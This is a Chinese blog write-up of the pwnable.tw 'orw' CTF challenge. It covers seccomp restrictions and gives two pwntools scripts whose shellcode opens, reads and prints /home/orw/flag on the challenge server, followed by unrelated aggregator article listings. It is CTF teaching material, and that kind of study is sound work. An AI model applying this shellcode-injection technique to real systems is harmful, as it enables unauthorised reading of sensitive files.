Pwnable_orw

news/2025/3/11 15:38:26/文章来源:https://www.cnblogs.com/awigwu76/p/18765176

题源

题解

保护


只开启了栈保护

分析

进入ida分析 main函数如下

seccomp (Secure Computing Mode)是一种 Linux 内核安全机制,它可以 限制进程可执行的系统调用(syscall),用于减少攻击面,提高程序安全性。

使用seccomp-tools查看允许调用的函数,即orw(open,read,write)
seccomp安装方法
sudo apt install gcc ruby-dev
sudo gem install seccomp-tools
使用方法
seccomp-tools dump ./orw

该题只允许调用open,read,write.再联系题目上的信息,flag在/home/orw/flag下,即调用open打开文件,read读取文件,write输出文件内容,接下来就是编写shellcode,使用Pwntools下的shellcraft帮助编写

exp

open(path,flag,mode) flag:只读 只写 读写 mode:新建文件的权限
read(fd,buf,count) fd:文件描述符 buf:内存缓冲区 count:读取字符数
write(fd,buf,count) 和read相同

第一种

点我一下QaQ
from pwn import *  context(os='linux', arch='i386', log_level='debug')
content = 0if content == 1:io = process("./orw")
else:io = remote("chall.pwnable.tw",10001)def main():io.recvuntil("shellcode:")payload = shellcraft.open('/home/orw/flag',0,0)payload += shellcraft.read(3,'/home/orw/flag', 100)#当一个文件被打开时,会占用0,1,2三个文件描述符,而Linux中文件描述符是增加的,所以会返回3payload += shellcraft.write(1, '/home/orw/flag', 100)#这里的fd = 1指标准输出到终端io.sendline(asm(payload))io.interactive()if __name__ == '__main__':main()

第二种

再点我一下 0.0
from pwn import *  context(os='linux', arch='i386', log_level='debug')
content = 0if content == 1:io = process("./orw")
else:io = remote("chall.pwnable.tw",10001)def main():io.recvuntil("shellcode:")payload = shellcraft.open('/home/orw/flag')payload += shellcraft.read('eax','ebp', 100)#open返回的文件描述符会存入eax,ebp作为缓冲区地址,存放读取的内容,即‘/home/orw/flag’payload += shellcraft.write(1, 'ebp', 100)io.sendline(asm(payload))io.interactive()if __name__ == '__main__':main()

推荐第二种,因为在不同的系统调用中,返回的文件描述符不一定相同,但是一定都存放在eax中.
在第一种中的payload += shellcraft.read(3,'/home/orw/flag', 100)和write调用中,
'/home/orw/flag'会shellcraft作为缓冲区地址,但是Pwntools会自动处理.因此第二种更有普适性

得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/897293.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

日期类、Date、Calendar、IO 流、File

DAY9.2 Java核心基础 日期类 java对日期使用提供了良好的封装,包括java.util.Date和java.util.Calender Date Date类使用比较简单,直接通过构造函数实例化对象接口,Date对象标识当前的系统时间,默认的格式并不是我们所熟悉的,一般我们需要对他进行格式化处理,将日常的展现…

深入String、StringBuffer、String 实例化有两种方式、String、StringBuffer常用方法

DAY9.1 Java核心基础 String String 开发使用的频率高 String 实例化有两种方式1、直接赋值 String str1 ="Word";2、通过构造函数创建对象 String str2 =new String("Word");字符串对象底层的基本数据类型是char 比如Word,是char[] str ={W,o,r,d}; 两种…

File类、字节字符流、InputStream和FileReader、OutputStream和FileWriter区别

DAY10.1 Java核心基础 File类 使用该类的构造函数可以创建一个对文件对象表示一个物理资源 File类常用方法方法 描述public File(String pathname) 根据路径创建对象public String getName() 获取文件名public String getParent() 获取文件所在的目录public File getParentFile…

FreeBSD 13.5 正式版发布 - 高性能开源 Unix 系统

FreeBSD 13.5 正式版发布 - 高性能开源 Unix 系统FreeBSD 13.5 正式版发布 - 高性能开源 Unix 系统 The Power To Serve 请访问原文链接:https://sysin.org/blog/freebsd-13/ 查看最新版。原创作品,转载请保留出处。 作者主页:sysin.orgFreeBSD 13.5-RELEASE 公告 日期:202…

FreeBSD 13.5 x86_64 OVF (sysin) - VMware 虚拟机模板

FreeBSD 13.5 x86_64 OVF (sysin) - VMware 虚拟机模板FreeBSD 13.5 x86_64 OVF (sysin) - VMware 虚拟机模板 The Power To Serve 请访问原文链接:https://sysin.org/blog/freebsd-13-ovf/ 查看最新版。原创作品,转载请保留出处。 作者主页:sysin.org2025 年 3 月 11 日,F…

2. 创建一个按钮组件

在deepseek中输入:创建一个vue组件 组件实现button的功能 预设4种颜色,分别对应:success: 绿色,危险按钮:红色,警告按钮:橘色,信息按钮:灰色 预设几个带icon的按钮,分别是:搜索,确定,取消,删除,上一页,下一页,分享,编辑 需要让调用该组件是可以自定义一些属性…

MySQL:CentOS 7 Docker 联网安装 MySQL

1. 创建mysql挂载目录 mkdir -p /home/data/mysql/config/ 配置目录挂载 mkdir -p /home/data/mysql/data/ 数据目录挂载 2. 在config目录下创建字符集文件 vim /home/data/mysql/config/my.cnf 填写 [mysqld] user=mysql character-set-server=utf8 [client] default-ch…

项目经理私藏!2025年10款小众但超实用的管理神器

在项目管理的江湖中,15 年的实战经验就像是一本活的百科全书,见证了无数项目的起起落落。想象一下,在一个大型建筑项目中,原本计划有序的施工突然因为材料供应不及时而陷入混乱,工期眼看着就要延误,成本也开始失控。这时候,一位经验丰富的项目经理凭借着他独特的管理工具…

SQLServer 死锁排查

适用于2012及以上版本一、创建扩展事件会话 CREATE EVENT SESSION [Deadlock_Monitor] ON SERVER ADD EVENT sqlserver.xml_deadlock_report ADD TARGET package0.event_file(SET filename=NDeadlock_Monitor.xel) WITH (STARTUP_STATE=ON); GO ALTER EVENT SESSION [Deadloc…

Eureka服务注册发现源码流程简析

一: 服务的注册客户端通过执行InstanceInfoReplicator#run()调用DiscoveryClient#register()发送http请求进行注册 InstanceInfoReplicator 是同于更新同步当前服务到服务端的任务实现 //A task for updating and replicating the local instanceinfo to the remote server.//…

高等数学笔记

唉...本蒟蒻也是要考研了, 目前目标是深圳大学, 想研究的方向偏算法多一点, 深度学习强化学习什么的, 我会尽最大努力了 9 做到一个新的问题,想起与过去某个问题类似。发现在解答中,对此类问题,以及工具和方法的理解是存在缺陷的,或者发现理解不够深刻。于是通过解决新的…

Scatter(A Distance-Guided Fuzzing For Heap-layout)

SCATTER Abstract 利用堆利用的方法为将受害者的chunk放在可以溢出的chunk之后。SCATTER使能够以无原始的方式以普通purpose程序中的堆溢出产生可剥削的堆布局。它先使用静态分析和动态检测来计算潜在的堆利用布局,然后设计由新操纵距离为指导的fuzz,该距离衡量了在堆布局空间…